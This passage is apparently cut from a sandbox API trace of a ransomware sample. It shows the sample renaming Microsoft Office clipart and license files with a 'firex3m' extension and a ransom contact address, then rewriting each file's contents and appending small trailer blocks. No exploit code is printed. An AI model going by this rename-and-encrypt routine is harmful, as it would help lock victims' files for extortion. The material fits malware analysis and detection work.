dwReserved0=0xbb87496, dwReserved1=0x673b30, cFileName="BL00267_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~1.FIR")) returned 0x6d4e40 [0133.810] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0133.810] Sleep (dwMilliseconds=0x1) [0133.843] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", len=0x44 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 1 [0133.843] GetProcessHeap () returned 0x630000 [0133.843] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b8) returned 0x66a3e0 [0133.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.845] CloseHandle (hObject=0x67c) returned 1 [0133.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~3.FIR")) returned 0x6d4f00 [0133.869] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0133.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0133.870] GetProcessHeap () returned 0x630000 [0133.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa01) returned 0x697da8 [0133.870] GetProcessHeap () returned 0x630000 [0133.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa01) returned 0x6e5368 [0133.870] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.870] ReadFile (in: hFile=0x710, lpBuffer=0x697da8, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x497ff0c*=0x9e0, lpOverlapped=0x0) returned 1 [0133.881] GetProcessHeap () returned 0x630000 [0133.881] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0133.881] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.881] WriteFile (in: hFile=0x710, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x497ff0c*=0x9e0, lpOverlapped=0x0) returned 1 [0133.881] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.881] WriteFile (in: hFile=0x710, lpBuffer=0x6e5d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5d47*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.881] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.881] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.881] CloseHandle (hObject=0x710) returned 1 [0133.886] GetProcessHeap () returned 0x630000 [0133.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0133.886] GetProcessHeap () returned 0x630000 [0133.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0133.886] GetProcessHeap () returned 0x630000 [0133.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0133.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be90f6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0xbb87496, dwReserved1=0x697da0, cFileName="BL00262_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~3.FIR")) returned 0x6d5540 [0133.886] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.887] Sleep (dwMilliseconds=0x1) [0133.915] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", len=0x44 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 1 [0133.915] GetProcessHeap () returned 0x630000 [0133.915] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1ac) returned 0x66a3e0 [0133.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.916] CloseHandle (hObject=0x67c) returned 1 [0133.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0025~2.FIR")) returned 0x6d5200 [0133.917] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.917] GetProcessHeap () returned 0x630000 [0133.917] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1281) returned 0x70825e8 [0133.917] GetProcessHeap () returned 0x630000 [0133.917] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1281) returned 0x6ecb478 [0133.917] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.917] ReadFile (in: hFile=0x67c, lpBuffer=0x70825e8, nNumberOfBytesToRead=0x1260, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesRead=0x497ff0c*=0x1260, lpOverlapped=0x0) returned 1 [0133.980] GetProcessHeap () returned 0x630000 [0133.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0133.981] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.981] WriteFile (in: hFile=0x67c, lpBuffer=0x6ecb478*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesWritten=0x497ff0c*=0x1260, lpOverlapped=0x0) returned 1 [0133.981] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.981] WriteFile (in: hFile=0x67c, lpBuffer=0x6ecc6d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecc6d7*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.981] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.981] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.981] CloseHandle (hObject=0x67c) returned 1 [0133.982] GetProcessHeap () returned 0x630000 [0133.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0133.982] GetProcessHeap () returned 0x630000 [0133.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0133.982] GetProcessHeap () returned 0x630000 [0133.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0133.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cf41d3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1288, dwReserved0=0xbb87496, dwReserved1=0x70825e0, cFileName="BL00252_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0025~2.FIR")) returned 0x6d5480 [0133.983] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0133.983] Sleep (dwMilliseconds=0x1) [0135.938] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF", len=0x44 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 1 [0135.938] GetProcessHeap () returned 0x630000 [0135.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x258) returned 0x670860 [0135.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0135.938] CloseHandle (hObject=0x710) returned 1 [0135.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0135.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0023~1.FIR")) returned 0x6d5340 [0135.939] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0135.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0135.940] GetProcessHeap () returned 0x630000 [0135.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x73c1) returned 0x72309d0 [0135.940] GetProcessHeap () returned 0x630000 [0135.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x73c1) returned 0x6fd8940 [0135.940] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.940] ReadFile (in: hFile=0x710, lpBuffer=0x72309d0, nNumberOfBytesToRead=0x73a0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72309d0*, lpNumberOfBytesRead=0x497ff0c*=0x73a0, lpOverlapped=0x0) returned 1 [0139.512] GetProcessHeap () returned 0x630000 [0139.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0139.512] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.512] WriteFile (in: hFile=0x710, lpBuffer=0x6fd8940*, nNumberOfBytesToWrite=0x73a0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd8940*, lpNumberOfBytesWritten=0x497ff0c*=0x73a0, lpOverlapped=0x0) returned 1 [0139.512] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.512] WriteFile (in: hFile=0x710, lpBuffer=0x6fdfcdf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdfcdf*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.512] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.513] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.513] CloseHandle (hObject=0x710) returned 1 [0139.513] GetProcessHeap () returned 0x630000 [0139.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd8940 | out: hHeap=0x630000) returned 1 [0139.513] GetProcessHeap () returned 0x630000 [0139.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72309d0 | out: hHeap=0x630000) returned 1 [0139.513] GetProcessHeap () returned 0x630000 [0139.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0139.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x191a5110, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x73e0, dwReserved0=0xbb87496, dwReserved1=0x72309c8, cFileName="DD00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0023~1.FIR")) returned 0x6d5200 [0139.514] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0139.514] Sleep (dwMilliseconds=0x1) [0140.513] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms", len=0x51 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 1 [0140.513] GetProcessHeap () returned 0x630000 [0140.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c24) returned 0x7203db8 [0140.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0142.635] CloseHandle (hObject=0x67c) returned 1 [0142.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3f1e1f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3f1e1f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40291d7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a3, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="HomeBusinessR_Retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~4.FIR")) returned 0x6d5000 [0143.854] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0143.855] GetProcessHeap () returned 0x630000 [0143.855] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29c1) returned 0x6ef2550 [0143.855] GetProcessHeap () returned 0x630000 [0143.855] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29c1) returned 0x6ef4f20 [0143.855] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.855] ReadFile (in: hFile=0x67c, lpBuffer=0x6ef2550, nNumberOfBytesToRead=0x29a0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef2550*, lpNumberOfBytesRead=0x497ff0c*=0x29a0, lpOverlapped=0x0) returned 1 [0145.347] GetProcessHeap () returned 0x630000 [0145.347] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0145.347] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.347] WriteFile (in: hFile=0x67c, lpBuffer=0x6ef4f20*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef4f20*, lpNumberOfBytesWritten=0x497ff0c*=0x29a0, lpOverlapped=0x0) returned 1 [0145.904] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.904] WriteFile (in: hFile=0x67c, lpBuffer=0x6ef78bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef78bf*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.907] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.907] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.907] CloseHandle (hObject=0x67c) returned 1 [0145.907] GetProcessHeap () returned 0x630000 [0145.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef4f20 | out: hHeap=0x630000) returned 1 [0145.907] GetProcessHeap () returned 0x630000 [0145.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef2550 | out: hHeap=0x630000) returned 1 [0145.907] GetProcessHeap 